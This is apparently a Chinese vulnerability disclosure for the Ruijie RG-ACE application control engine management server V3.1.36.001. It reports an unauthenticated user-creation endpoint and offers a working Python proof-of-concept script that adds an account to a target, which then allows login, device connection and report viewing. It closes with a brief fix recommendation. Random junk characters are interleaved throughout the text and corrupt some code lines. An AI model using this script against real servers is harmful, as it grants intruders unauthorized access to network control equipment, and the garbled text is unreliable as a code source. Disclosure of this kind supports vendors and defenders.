锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)% s# V8 T {, Q0 I/ G. b
5 V- r' e9 v, o( I) K, V
$ q2 f D* R! T6 D7 W
测试的具体版本是
, D) P. i- e# \3 t7 J1 k产品名称: 锐捷应用控制引擎
5 \6 i; G2 _% _1 `, D" P版本号: 3.1.36.001 TC
+ W" d' E8 I8 \! z; [$ v编译时间: 201104291730
[7 y( q7 b+ P: L R' ^ 1 M/ `5 \4 j0 {$ n( W* L+ u4 E
/ w+ }6 I7 z0 k4 h: I6 x
漏洞证明:
2 r1 F) j3 B7 M! m f) s: F & d- s- E% t. u1 L3 X
0 d/ ^# y0 D2 S% q* d/ Y/ u- h/ |$ G0 t; M+ h5 E+ i. r4 G) F
$ e( H; J/ A$ }$ h7 o8 Z
) N. P* M" }- k
- P A1 H7 o! B' o执行脚本: r2 z; v- q) T1 E
#! /usr/bin/env python
5 G0 K+ M* O& [) a7 m1 e* R#coding=gbk
$ S2 t. e. W3 w9 Y( [#RG-ACE管理服务器 V3.1.36.001
" q! `! ?" m( w, O. U4 ?8 u8 Limport urllib2, urllib,cookielib5 p( F5 Z. I, z, i
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
4 q* A8 G/ h4 t& Y% u, j lopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
+ s+ c- |! d! f7 G* ]$ _, w nopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
' V- l9 O+ R) R0 Zpost=(("event","userManager.doInsertUserInfo"),
& G n, o1 Q; w% p# Q0 M5 X("useractionname","addButtonValue"),
2 P2 r( u9 `6 b% K("useropermanager","userManager"),
- W3 K+ j1 }/ I! p9 K Z0 _/ C("userName","t"), #######账号自己加+ |2 ^, x* ^8 Y" y, Q
("pwd","aaaaaa"),######密码自己加
4 L8 h( Q$ n! ?8 V! ^("trueName","ad"),4 \) o9 e& ~+ k2 L4 V; Z$ k! L; }
("email",""),
4 n9 y+ s3 e1 G- j' t! P("mobilePhone",""),
/ ^2 K% u$ C/ t5 a B("officePhone",""),
9 X5 N( y0 s& u+ b; S("addr",""),
" S- A% p! m9 |, E$ T$ l+ E("submit","确定"))
: H4 R c! `- V) Surllib2.install_opener(opener)
; ~8 t/ P1 W. e( }2 \/ k: Pp=urllib2.urlopen(url, urllib.urlencode(post)).read(). {: m; L3 S0 ^' E/ Y6 k
print "Done"1 e. F+ K. N( D6 n, m& R/ i$ r5 W
8 y/ y) }3 L- I2 d
登录,连接设备
7 f0 q" E1 q' ]/ X n
( |3 o3 _$ Z: M; [% A4 W& r) X0 Y C9 ]9 c/ g9 m) y
0 Z* u# Q2 k) I* H; u- }
- R$ D5 B+ P3 g9 p! |1 z2 L
1 ^; x2 ~2 _* `% m
默认的管理员admin权限更大点
7 ~; @$ u7 M6 T' `. z* Q8 j6 n$ X
) R; Q# e, `; p+ z7 @: U9 d% T3 V1 I3 c2 G# a: A6 @
; p; U0 F% F+ d( z) S6 I 5 P: m2 p0 l3 y# C- y$ p
4 [% R! o1 m$ g+ i8 o2 t
修复方案:: A' r1 A; C3 e- L1 e& q
加强对接口的权限验证
& K* B) K% g: W1 n$ p2 f; i' C* w b: r3 A# j a$ i+ x+ t. G
|